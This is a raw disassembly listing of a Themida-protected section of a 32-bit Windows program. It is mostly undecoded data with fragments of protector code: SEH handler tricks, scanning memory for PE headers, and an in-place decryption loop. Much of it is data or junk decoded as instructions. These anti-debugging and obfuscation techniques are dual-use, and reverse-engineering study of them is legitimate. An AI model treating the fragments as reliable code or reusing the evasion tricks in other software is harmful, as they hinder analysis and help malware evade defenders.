dd 77EA5EE6h, 8 dup(0)
dd 163204Ch, 3 dup(0)
dd 0B8h, 12FEF8h, 3 dup(0)
dd offset byte_5834DB
dd offset byte_583697
align 10h
dd 0FB2AEC13h, 0
dd 7CCA00A0h, 0
dd offset sub_5A0C3E
align 10h
loc_549970: ; DATA XREF: Themida_:0054A650o
mov eax, 0
or eax, eax
jz short loc_54997C
retn 18h
; ---------------------------------------------------------------------------
loc_54997C: ; CODE XREF: Themida_:00549977j
mov eax, [esp+0Ch]
push ebx
call $+5
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0A2A037h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 4
dd 14h dup(0)
dd 77E76A2Eh, 2 dup(0)
dd 6784h, 77452C1Bh, 0
dd 3C7EB397h, 5 dup(0)
dd 83A52AC4h, 0FFFF8DE1h, 0B0B1CAh, 3 dup(0)
dd 36363636h, 0FFED00ACh, 9 dup(0)
dd offset unk_4E0497
dd offset loc_57CC8E
dd 10h dup(0)
dd offset off_57AEE7
dd 172FFB0h, 2 dup(0)
dd offset loc_5CBF68+2
dd 0FFFF3FA2h, 0
dd offset word_597B4E
dd 4 dup(0)
dd offset dword_549B78
dd offset loc_5CBF68+2
dd 0AAF0B74h, 4 dup(0)
dd offset byte_5AEF6B
dd 2 dup(0)
dd 86555974h, 2 dup(0)
dd offset loc_59D832
dd 0
dd offset loc_5885DE
dd 33000h, 0Dh dup(0)
; ---------------------------------------------------------------------------
retf 0FFB4h
; ---------------------------------------------------------------------------
db 0FFh
align 10h
dd 468545B6h, 5 dup(0)
dword_549B78 dd 438h, 0A100F8h, 0 ; DATA XREF: Themida_:00549228o
; Themida_:00549AE0o ...
dd 0B100F8h, 7FFE7397h, 10h dup(0)
dd 21D4EC17h, 77E82168h, 3 dup(0)
dd 0A2A037h, 2 dup(0)
dd 0A9B0E4B0h, 0Ah dup(0)
dd 7FFE0304h, 0Ch dup(0)
dd 0FB71D921h, 0B4h, 6 dup(0)
dd offset loc_54CEEB
dd 0
dd 5300h, 4 dup(0)
dd 0A269DDh, 2 dup(0)
dd 0FFA57F01h, 2 dup(0)
dd 77F52E0Fh, 8 dup(0)
dd 3047105Dh, 2 dup(0)
dd 77E793EFh, 7 dup(0)
; ---------------------------------------------------------------------------
test [ebx+ecx*2], edi
inc esi
jmp loc_56E8DD
; ---------------------------------------------------------------------------
align 4
retn 73F2h
; ---------------------------------------------------------------------------
db 22h
dd 4 dup(0)
dd 2F8CA129h, 4 dup(0)
dd 77E60000h, 0
dd 0FFA7FFDDh, 0
dd 0FFA5F563h, 13D8E05Dh, 0A1B168h, 0
dd 32E9h, 0A10FE6h, 0Eh dup(0)
dd offset loc_5885DE
aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0
align 4
dd 3Ch dup(0)
dd 7FFE0304h, 49012DD8h, 0
dd 0E024F3E4h, 1, 77FFFFFCh, 4 dup(0)
dd 52D8B47Dh, 20h dup(0)
dd 0FFFF5E94h, 6 dup(0)
dd 21858DE1h, 4 dup(0)
dd 8001FCFCh, 0
dd 77E7C785h, 287D88E6h, 9 dup(0)
dd 0A2A00Fh, 3 dup(0)
dd offset dword_59D020
dd 0
dd offset dword_5BB658
dd 9 dup(0)
dd offset byte_580023
dd 3 dup(0)
dd offset dword_5B0000
dd 2 dup(0)
dd 13D8E05Dh, 20h dup(0)
dd 9Ch, 0A24Dh, 0
dd 6784h, 4C3AA05Ch, 7FFE0304h, 0
dd 24B6C80h, 5 dup(0)
dd 345AFD8Bh, 0
dd 1, 6 dup(0)
dd 34B8h, 77D4C96Ah, 7 dup(0)
dd 0B3C55FA4h, 2 dup(0)
dd 7FFE90FAh, 0Bh dup(0)
dd 5CE5h, 2 dup(0)
dd 2 dup(22222222h), 3 dup(0)
dd 0FFFF982Ch, 2 dup(0)
dd 7FFE0304h, 0FFA7CB25h, 2 dup(0)
dd 3600h, 63221B7h, 2 dup(0)
dd 0B78883h, 6 dup(0)
dd 13D8E05Dh, 8 dup(0)
dd offset byte_5AA683
dd 0FFA64805h, 2 dup(0)
dd 0A0h, 13D8E05Dh, 6 dup(0)
dd 12FF38h, 0Ch dup(0)
dd offset loc_5CAC7C+2
dd 0
dd 0EC271FA3h, 1, 5 dup(0)
dd 0FFFFA168h, 6 dup(0)
dd 4886B09Eh, 7 dup(0)
dd offset loc_59DBD5+4
dd 3 dup(0)
dd offset loc_5CBF68+2
align 10h
dd 12FFE0h, 0FF5D5FF1h, 7 dup(0)
dd offset loc_58C915
dd 6 dup(0)
dd 21568h, 4 dup(0)
dword_54A304 dd 2B34A3DBh, 63h dup(0) ; DATA XREF: Themida_:0054B8E0o
dd 25C0000h, 6 dup(0)
dd 4, 584369h, 4 dup(0)
dd 24B6B9Ch, 0
dd 0A31568h, 3 dup(0)
dd 0FFAA7B8Eh, 0
dd 77E8215Ch, 0
dd 0DE000h, 2 dup(0)
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0C9h, 57h, 0
dd 3 dup(0)
dd 0FFFFA72Ch, 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_54A605
; ---------------------------------------------------------------------------
align 8
dd 7FFE0304h, 6 dup(0)
dd offset loc_596A09
align 10h
dd offset loc_59085C+3
dd 2 dup(0)
dd 0A29393h, 40D7AD80h, 2 dup(0)
dd 0FFFF4E47h, 0
; ---------------------------------------------------------------------------
jmp loc_56F15D
; ---------------------------------------------------------------------------
align 4
dd 0FF8h, 0
dd 7FFDDEF8h, 1DC000h, 0B52Ah, 9 dup(0)
dd 5F34B157h, 2 dup(0)
dword_54A5C0 dd 0A26CB0h, 5 dup(0)
dd 6784h, 9 dup(0)
dd 7FFE0304h
db 0C7h
; ---------------------------------------------------------------------------
loc_54A605: ; CODE XREF: Themida_:0054A51Cj
sbb eax, [edi+5Bh]
add [esi+ebx*4], ch
; ---------------------------------------------------------------------------
dw 0FFFFh
dd 0B52Ah, 0Ah dup(0)
dd 0B35FF0h, 4 dup(0)
dd offset loc_549970
dd 0FFFF982Ch, 3 dup(0)
dd 0A6A5E7h, 52D896ECh, 77DD59F0h, 0
dd 8005F6F4h, 3 dup(0)
dd 7D1h, 5 dup(0)
dd 6784h, 2 dup(0)
dd 102B89D5h, 0
dd 0A10000h, 2 dup(0)
dd offset dword_549B78
dd 0
dd 7FFE0304h, 4 dup(0)
dd 3DD4E4F1h, 4 dup(0)
dd 1, 3 dup(0)
dd 2 dup(7FFE0304h), 3 dup(0)
dd 7FFE0304h, 7548725h, 6 dup(0)
dd 2BE102D4h, 0
dd 77E80618h, 2 dup(0)
dd 108h, 13A8h, 9BE67C11h, 59D020h, 3A7EE5BBh, 7 dup(0)
dd 0A25E2Eh, 5B7877h, 3 dup(0)
dd 0B37FFEh, 3 dup(0)
dd 874281DDh, 2 dup(0)
dd 1D07C314h, 8 dup(0)
dd 0FDB22B8Ch, 4 dup(0)
dd offset nullsub_3
dd 0Dh dup(0)
dd 21212121h, 216FD98h, 3 dup(0)
dd 7FFE0304h, 2 dup(0)
dd 0A28C0Ah, 0FFFFFFFFh, 4 dup(0)
dd 0D8h, 97D8EA5h, 0FFA795F7h, 5 dup(0)
dd 1, 6 dup(0)
dd 0CDA680A3h, 0
dd 12FFE0h, 7 dup(0)
dd 0A22292h, 8 dup(0)
dd 77DD189Ah, 0
dd 0FFFFE175h, 0
dd 30DFh, 0
dd 0FDBD0050h, 0
dd 3FC78FA0h, 2 dup(0)
dd offset loc_5CAC7C+2
align 8
dd 0FFA675B2h, 4 dup(0)
dd 7FFE0304h, 0
dd 77E7A5FDh, 3 dup(0)
dd 13D8E05Dh, 2 dup(0)
dd 0A10A9Ah, 3 dup(0)
dd 3B398789h, 9 dup(0)
dd 1FAFFF6h, 3 dup(0)
dd offset sub_5834ED
dd 2 dup(0)
dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Ch dup(0)
dd 24B6B9Ch, 3 dup(0)
dd 7FFE0304h, 61AEAEE4h, 4 dup(0)
dd 2870000h, 4 dup(0)
dd 98F4DEDEh, 0
dd 1F6B6h, 4 dup(0)
dd 8001FCFCh, 2 dup(0)
dd 6784h, 5 dup(0)
db 90h
db 8Bh, 0A4h, 0FFh
dd 5 dup(0)
dd offset dword_5794A8
dd 7 dup(0)
dd 0FFFFFFFCh, 7 dup(0)
dd 0FFA7FE32h, 0
dd offset loc_5948A9
dd 5 dup(0)
dd offset sub_5AF4AE
dd 2 dup(0)
dd 7E91139Dh, 0A2A00Fh, 0
dd offset dword_5CC5E8
align 8
dd 0DC8D2F2Dh, 0
dd 1000h, 7 dup(0)
dd 7FFE6004h, 0A68D53h, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 0A2A00Fh, 0D4h, 0F97DF2E1h, 6 dup(0)
dd offset dword_549B78
dd 0Eh dup(0)
dd offset sub_5B52B8
dd 2 dup(0)
dd 2B34BE89h, 0A269DDh, 0
dd offset byte_58F88F
dd 12FFA4h, 0E75D36FEh, 2 dup(0)
; ---------------------------------------------------------------------------
xchg eax, esp
jmp near ptr byte_54AD89
; ---------------------------------------------------------------------------
align 10h
dd 2 dup(0)
db 0
byte_54AD89 db 3 dup(0) ; CODE XREF: Themida_:0054AD79j
dd 2 dup(0)
dd 77E7C785h, 77E7339Ch, 58248Eh, 0Fh dup(0)
dd 0A4B134h, 0
dd 8242904Ch, 0
dd 0C8h, 3 dup(0)
dd 172FFB0h, 2 dup(0)
dd 63221B7h, 2 dup(0)
dd offset loc_59D720+3
dd 3A0h, 6 dup(0)
dd 0B00000h, 0FFA685D6h, 8014FC50h, 8 dup(0)
dd offset loc_5919A9
align 10h
dd 222FFB0h, 0FD2h, 11h dup(0)
dd 77F5168Dh, 4 dup(0)
dd offset dword_58C824
dd 7 dup(0)
dd offset sub_54C6F2
dd 24B6BD3h, 0BCh, 3 dup(0)
dd offset dword_57F248
dd 5 dup(0)
dd 0A269DDh, 8EDD6157h, 2 dup(0)
dd offset dword_5798B0
align 10h
dd 0A23E3Bh, 8001FCFCh, 0B97CF8B2h, 19h, 4BBDC425h, 0FFE2E586h
dd 6 dup(0)
dd offset dword_54A5C0+14h
dd 4 dup(0)
dd 12FF54h, 0
dd 13D8E05Dh, 2 dup(0)
dd 3CA00h, 3C39689Fh, 3 dup(0)
dd 78326B19h, 0
dd 77E78B82h, 5BE2F2h, 4 dup(0)
dd offset byte_586A09
dd 5 dup(0)
dd 12FEF0h, 3 dup(0)
dd 0E02BF650h, 0Fh dup(0)
dd 400000h, 2 dup(0)
dd 2430000h, 2 dup(0)
dd offset byte_5834DB
dd 5 dup(0)
dd 77E82FE8h, 8 dup(0)
dd 0A28C0Ah, 4 dup(0)
dd 1, 6 dup(0)
dd 1, 7 dup(0)
dd 400000h, 6 dup(0)
dd offset loc_5A5460+2
dd 6 dup(0)
dd offset sub_57DE8A
dd 7 dup(0)
dd 0FFFFFF20h, 9 dup(0)
dd 2, 5BFFFEh, 77E75CB5h, 7FFE0304h, 5736B9h, 0
dd offset loc_5B854C+2
dd 4 dup(0)
dd offset loc_5B6ED0+1
dd 0F1BB5FDh, 2 dup(0)
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0A9h, 5Ch, 0
dd 0
dd offset dword_5BFF5C
dd 0
dd 644FF2DEh, 0
dd 23h, 4 dup(0)
dd offset byte_5B7877
dd 4 dup(0)
dd 0E75D8D8Dh, 6 dup(0)
dd 6DB43739h, 6 dup(0)
dd 4B36h, 3 dup(0)
dd 0FFA41D0Eh, 5 dup(0)
dd 1, 0AAFF95A0h, 2Ah, 0FFDFFFFFh, 4, 0
dd 8730EC38h, 0
dd 0C9AEC022h, 14h, 0
dd 1D7A40h, 0B0h dup(0)
dd offset word_58A792
dd 0
dd offset byte_580023
dd 0Fh dup(0)
dd 77E78B82h, 0
dd 0FFFFE4D5h, 4 dup(0)
dd 1FA15E9Ch, 3 dup(0)
dd offset loc_589817
align 10h
retn
; ---------------------------------------------------------------------------
db 0A9h, 5Ch, 0
dd 0FFA7CB25h, 0
dd 3600h, 5 dup(0)
dd 0A209F7h, 4 dup(0)
dd 10h, 2 dup(0)
dd 3ACE5D33h, 3 dup(0)
dd 12FF54h, 5C9296h, 0
dd 24B6B9Ch, 2 dup(0)
dd 6784h, 2 dup(0)
dd offset loc_59DA07+5
dd 6 dup(0)
dd offset dword_40F108+27Ch
dd 0
dd 0BBC969FAh, 9 dup(0)
dd offset loc_5BE058+2
dd 11111111h, 4 dup(0)
dd 7C5AD53Ch, 0
dd 2 dup(7FFE0304h), 0FFFFFFC8h, 9 dup(0)
dd offset byte_54CC0B
align 10h
dd 74736552h, 41747261h, 652E7070h, 6578h, 549B78h, 0A47FD8h
dd 0
dd 58A2FE7Bh, 0
dd 24B6B9Ch, 7A522FDBh, 5AEEF7h, 2 dup(0)
dd 0A2915Bh, 0
dd offset sub_401000
dd 5 dup(0)
dd 7FFE0304h, 5CBF6Ah, 0
dd 0FA3A511Ch, 0
dd 0FFFF9E2Ch, 0
dd 7FFE0304h, 3 dup(33333333h), 0
dd 5B871BC7h, 0
dd 0C04Ch, 3 dup(0)
dd offset loc_5921B0+2
align 10h
dd 0FFFF982Ch, 2 dup(0)
dd offset byte_584369
dd 0
dd 0E80h, 21858DE1h, 4 dup(0)
dd 0A269DDh, 4 dup(0)
dd 7FFE0304h, 13h dup(0)
; ---------------------------------------------------------------------------
jmp short near ptr loc_54B800+1 ; CODE XREF: Themida_:loc_54B800j
; ---------------------------------------------------------------------------
dw 76DBh
dd offset loc_5B5383
dd 62Ch, 4 dup(0)
dd offset loc_58A7EC
dd 3 dup(0)
dd 2, 6 dup(0)
dd 77E83E68h, 0Ah dup(0)
dd 0D0h, 6 dup(0)
dd offset loc_58FACE
dd 2 dup(0)
dd 1, 0Eh dup(0)
dd 0FFFF96ECh, 0
dd offset dword_54A304+5
align 8
dd 0FFFFFFFFh, 5 dup(0)
dd 747786EFh, 0
dd 52B071C5h, 5 dup(0)
dd 0B60AFF8Eh, 13D8E05Dh, 3 dup(0)
dd 7027662Eh, 0
dd 25D0000h, 0
dd 7FFE0304h, 29h dup(0)
dd offset loc_5A1ED3+5
dd 4 dup(0)
dd 0A9C530DFh, 0
dd 12FFF0h, 4EBh, 0
; ---------------------------------------------------------------------------
jmp near ptr byte_54BAFD
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd 76B41B40h, 5 dup(0)
dd offset word_59DAFA
dd 0A10A9Ah, 0
dd offset loc_58E7C0
dd 7FFE0304h, 2 dup(0)
dd 4001E8h, 0
db 90h
db 9, 2 dup(0)
align 8
dd offset byte_5779ED
dd 13D8E05Dh, 0A4h, 2 dup(0)
dd offset loc_5A6BE9
dd 641983EFh, 2 dup(0)
dd 0A9C530DFh, 0
dd 80000h, 2 dup(0)
dd offset byte_5834DB
align 10h
dd 0B075E0h, 2 dup(0)
dd 0D7C996E3h, 6 dup(0)
dd 77E75CB5h, 2, 0
dd 7FFE0304h, 0
dd 77E82FE8h, 3 dup(0)
db 0
byte_54BAFD db 3 dup(0) ; CODE XREF: Themida_:0054BA14j
dd 2 dup(0)
db 64h, 90h
dw 761Ch
align 10h
dd 6797FD4h, 0FE3A9673h, 3 dup(0)
dd offset dword_58C824
dd 3 dup(0)
dd 77E7AC5Eh, 4F1E983Eh, 7FFE0304h, 3 dup(0)
dd 7027662Eh, 6 dup(0)
dd 0F1F3805Ch, 2 dup(0)
dd 77E805D8h, 8 dup(0)
dd offset word_58A792
dd 1Bh dup(0)
dd 0FC018D8Dh, 3 dup(0)
dd 506D5892h, 9 dup(0)
; ---------------------------------------------------------------------------
jmp near ptr byte_54BE53
; ---------------------------------------------------------------------------
align 4
dd 3F9F8h, 5B76A3h, 587072h, 0A22BDEh, 96Ch, 0
dd 77E77963h, 3 dup(0)
dd 0A2A00Fh, 0
dd 0C0h, 3 dup(0)
dd 77EBA6E9h, 12FEF8h, 0Ch dup(0)
dd offset byte_5B8F9D
align 8
dd offset byte_5834DB
align 10h
dd 0A269DDh, 0
dd 7FFE0304h, 5 dup(0)
dd offset loc_5A0332
dd 8 dup(0)
dd offset byte_5779ED
dd 0
dd 0E024F3E4h, 0
dd 12FF64h, 4DF000h, 2 dup(0)
dd 3B72BDBAh, 0
dd 25E0000h, 2 dup(0)
dd 6DB43739h, 0Ah dup(0)
dd 0A269DDh, 5 dup(0)
dd offset loc_57CC66
dd 5 dup(0)
dd 0A16Ch, 0
dd 41100B71h, 5A0BA8h, 0
dd 77E805D8h, 2 dup(0)
dd 0FFED005Ch, 3 dup(0)
dd 0E1014h, 0
dd 77F50000h, 5 dup(0)
dd 21858DE1h, 0
dd offset sub_5A6227
dd 0
dd 0FFFF4AD6h, 5CC5C0h, 11h dup(0)
db 3 dup(0)
byte_54BE53 db 0 ; CODE XREF: Themida_:0054BC40j
dd 70h dup(0)
dd 94B5950Fh, 6 dup(0)
dd 77D4C96Ah, 580023h, 2 dup(0)
dd offset dword_5BC9F8
dd 2 dup(0)
; ---------------------------------------------------------------------------
retf 0FC6Bh
; ---------------------------------------------------------------------------
db 78h
dd 4 dup(0)
dd 77DD0000h, 7 dup(0)
dd 0D546E46Ah, 6 dup(0)
dd offset byte_5834DB
dd 3 dup(0)
dd 0EFh, 7FFE0304h, 5 dup(0)
dd 9C6D8FE9h, 9E893D7h, 54A308h, 3 dup(0)
dd offset loc_5BD6DC+1
dd 12FFC4h, 6 dup(0)
dd 13DFEEFFh, 57C9E5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C110: ; CODE XREF: Themida_:loc_548BDFj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 614353Bh
mov [ebp+6143505h], edx
mov [ebp+6142679h], esi
mov [ebp+6142E29h], eax
cmp dword ptr [ebp+6143495h], 0
jz short loc_54C148
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_54C148: ; CODE XREF: Themida_:0054C13Aj
mov eax, [esp+24h]
mov [ebp+61410C1h], eax
push 45h
call sub_54C1FC
push 783749Ah
call sub_54C242
push 0A894B25h
call sub_54C242
jmp loc_54C386
; ---------------------------------------------------------------------------
dw 4645h
dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
dd 0C2C1C0BFh, 0C3h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54C1FC proc near ; CODE XREF: Themida_:0054C154p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 6143629h
mov ebx, edx
mov [ebp+var_28], 0
loc_54C218: ; CODE XREF: sub_54C1FC+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_54C237
mov eax, [ebp+arg_0]
mov [ebx+6143593h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_54C218
; ---------------------------------------------------------------------------
loc_54C237: ; CODE XREF: sub_54C1FC+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_54C1FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_54C242 proc near ; CODE XREF: Themida_:0054C15Ep
; Themida_:0054C168p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 6143672h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_54C268: ; CODE XREF: sub_54C242+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_54C268
mov [ebp+var_84], 0
lea edi, [edx+6143593h]
lea esi, [ebp+var_80]
loc_54C298: ; CODE XREF: sub_54C242+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_54C2A4: ; CODE XREF: sub_54C242+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_54C2A4
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_54C298
popa
leave
retn 4
sub_54C242 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_54C2E2
; ---------------------------------------------------------------------------
loc_54C2DE: ; CODE XREF: Themida_:0054C2E5j
inc dword ptr [ebp-4]
inc esi
loc_54C2E2: ; CODE XREF: Themida_:0054C2DCj
cmp byte ptr [esi], 0
jnz short loc_54C2DE
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_54C373
; ---------------------------------------------------------------------------
loc_54C2F4: ; CODE XREF: Themida_:0054C376j
mov dword ptr [ebp-8], 0
jmp short loc_54C36A
; ---------------------------------------------------------------------------
loc_54C2FD: ; CODE XREF: Themida_:0054C36Ej
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_54C357
; ---------------------------------------------------------------------------
loc_54C30D: ; CODE XREF: Themida_:0054C35Bj
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_54C32F
cmp bl, 39h
ja short loc_54C32F
sub bl, 30h
jmp short loc_54C351
; ---------------------------------------------------------------------------
loc_54C32F: ; CODE XREF: Themida_:0054C323j
; Themida_:0054C328j
cmp bl, 61h
jb short loc_54C341
cmp bl, 66h
ja short loc_54C341
sub bl, 61h
add bl, 0Ah
jmp short loc_54C351
; ---------------------------------------------------------------------------
loc_54C341: ; CODE XREF: Themida_:0054C332j
; Themida_:0054C337j
cmp bl, 41h
jb short loc_54C351
cmp bl, 46h
ja short loc_54C351
sub bl, 41h
add bl, 0Ah
loc_54C351: ; CODE XREF: Themida_:0054C32Dj
; Themida_:0054C33Fj ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_54C357: ; CODE XREF: Themida_:0054C30Bj
cmp dword ptr [ebp-0Ch], 2
jb short loc_54C30D
cmp dword ptr [ebp-10h], 0
jbe short loc_54C367
mov eax, [ebp-10h]
stosb
loc_54C367: ; CODE XREF: Themida_:0054C361j
inc dword ptr [ebp-8]
loc_54C36A: ; CODE XREF: Themida_:0054C2FBj
cmp dword ptr [ebp-8], 2
jb short loc_54C2FD
add edx, 4
loc_54C373: ; CODE XREF: Themida_:0054C2F2j
cmp edx, [ebp-4]
jb loc_54C2F4
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
loc_54C386: ; CODE XREF: Themida_:0054C16Dj
mov ecx, 7000h
lea edi, [ebp+61437B8h]
loc_54C391: ; CODE XREF: Themida_:0054C395j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_54C391
mov eax, 48692121h
mov edx, 0F00E1000h
sub edx, 0F0000000h
lea eax, [ebp+614388Fh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
jp loc_54C3D8
jnb loc_54C3D8
jmp loc_54C3D8
; ---------------------------------------------------------------------------
db 0DBh
dd 0B45155DEh
; ---------------------------------------------------------------------------
loc_54C3D8: ; CODE XREF: Themida_:0054C3C2j
; Themida_:0054C3C8j ...
sub eax, edx
mov bl, al
and eax, 0FFFFF000h
mov ecx, edx
xor edi, edi
loc_54C3E5: ; CODE XREF: Themida_:0054C400j
cmp word ptr [eax], 5A4Dh
jnz short loc_54C3FA
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_54C402
loc_54C3FA: ; CODE XREF: Themida_:0054C3EAj
sub eax, 1000h
inc edi
jmp short loc_54C3E5
; ---------------------------------------------------------------------------
loc_54C402: ; CODE XREF: Themida_:0054C3F8j
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+61438A2h]
push edx
push large dword ptr fs:0
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_54C43C
mov esi, [eax+1Ch]
loc_54C43C: ; CODE XREF: Themida_:0054C437j
xor eax, eax
loc_54C43E: ; CODE XREF: Themida_:0054C451j
cmp eax, 32h
jz short loc_54C462
cmp word ptr [esi], 5A4Dh
jz short loc_54C453
loc_54C44A: ; CODE XREF: Themida_:0054C460j
sub esi, 10000h
inc eax
jmp short loc_54C43E
; ---------------------------------------------------------------------------
loc_54C453: ; CODE XREF: Themida_:0054C448j
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_54C4A4
jmp short loc_54C44A
; ---------------------------------------------------------------------------
loc_54C462: ; CODE XREF: Themida_:0054C441j
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
push ebp
call $+5
pop ebp
sub ebp, 61438ADh
lea eax, [ebp+614386Bh]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_54C4A4: ; CODE XREF: Themida_:0054C45Ej
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
push 0
push esi
call sub_54C4BA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54C4BA proc near ; CODE XREF: Themida_:0054C4B2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_54C4BA endp
; ---------------------------------------------------------------------------
dw 9A70h
dd 0D988E77h, 2444BB66h, 0BBD98C66h, 30673C80h, 0B704E180h
dd 0FC90A37h, 1E85h, 85C7FC00h, 61412CDh, 1, 3DE957B3h
dd 0F9000000h, 6E9h, 37A42C00h, 0C7451003h, 1412CD85h
dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 0C5F36FCAh, 0DB9FC46Fh, 0DA8B8E8Fh
dd 11458589h, 7E90614h, 23000000h, 4246C19h, 8589D8E9h
dd 6141AD1h, 13E8h, 1CA13C00h, 0C7859AEEh, 8AD66222h, 0A8E99B3h
dd 0DBE7900Ch, 7E9h, 0EE888800h, 74C66E2Eh, 0BE859h, 0CB00000h
dd 713F3D56h, 0B04F2CF2h, 0FDBF51FFh, 5B0DC2FFh, 3BC1815Bh
dd 0BA000067h, 3155CA00h, 4F9AC281h, 840FCEAAh, 3, 0FFC7BF0Fh
dd 0F88B6631h, 3890F5Eh, 0F000000h, 0EE81C7B7h, 2B84791Fh
dd 0F681AFB4h, 3E1C794Fh, 0C681C2B7h, 14132BEDh, 0A8BF6653h
dd 31895F5Ch, 0E983E18Ah, 8770B804h, 0F4A58BCh, 2385h
dd 0CE900h, 3ED70000h, 0FEB3217Fh, 5789B069h, 31E954C2h
dd 0E3000000h, 5429C2AAh, 5BC791Dh, 0E1113358h, 0EE9h
dd 19F38300h, 0BDCFD19Ch, 0E7135270h, 0E9C600A4h, 0FFFFFF87h
dd 7DC1D3C6h, 6FD55D29h, 61612294h, 11E8h, 6B80B600h, 84DEA8B3h
dd 4A16B845h, 841483DCh, 8166C20Bh, 5E0AD7E8h, 81CABF0Fh
dd 63EDC6h, 0B9CA8100h, 2B28FDAEh, 3BEEB9DBh, 3C8B2C9Eh
dd 6830F1Eh, 81000000h, 672479E1h, 0BCF78168h, 0F2DE342h
dd 1389h, 0D800F00h, 0E8000000h, 7, 0E26B01B3h, 5965DC54h
dd 46ABC781h, 816656A0h, 81D966CAh, 0C59EC4EFh, 89D78B68h
dd 3AB91E3Ch, 0B9492C77h, 1F3A382h, 0C724EB81h, 12E906B6h
dd 14000000h, 9645C2EEh, 5D2238E3h, 6661E140h, 91921112h
dd 20C381DCh, 8006B6C7h, 0FB8146D4h, 0FFFF9CC4h, 0FF80850Fh
dd 820FFFFFh, 2, 4EB6AB0h, 215h, 6F6E9h
db 0, 0F9h
; =============== S U B R O U T I N E =======================================
sub_54C6F2 proc near ; DATA XREF: Themida_:0054AEF0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
pusha
mov eax, 3B72BDBAh
mov [ebp+6143155h], eax
popa
mov eax, 0
mov [ebp+6142455h], edi
mov edx, [esp+20h+arg_4]
mov [ebp+6140D4Dh], ecx
sub [ebp+6142611h], ecx
mov [ebp+61402F5h], eax
pusha
jb loc_54C72E
mov edi, [ebp+614239Dh]
loc_54C72E: ; CODE XREF: sub_54C6F2+30j
movsx eax, di
popa
stc
mov esi, 3Ch
jmp loc_54C74B
; ---------------------------------------------------------------------------
adc [edi-17h], ebx
rcl dword ptr [edx+723DBB51h], 1
icebp
sbb edx, esi
add al, 2Fh
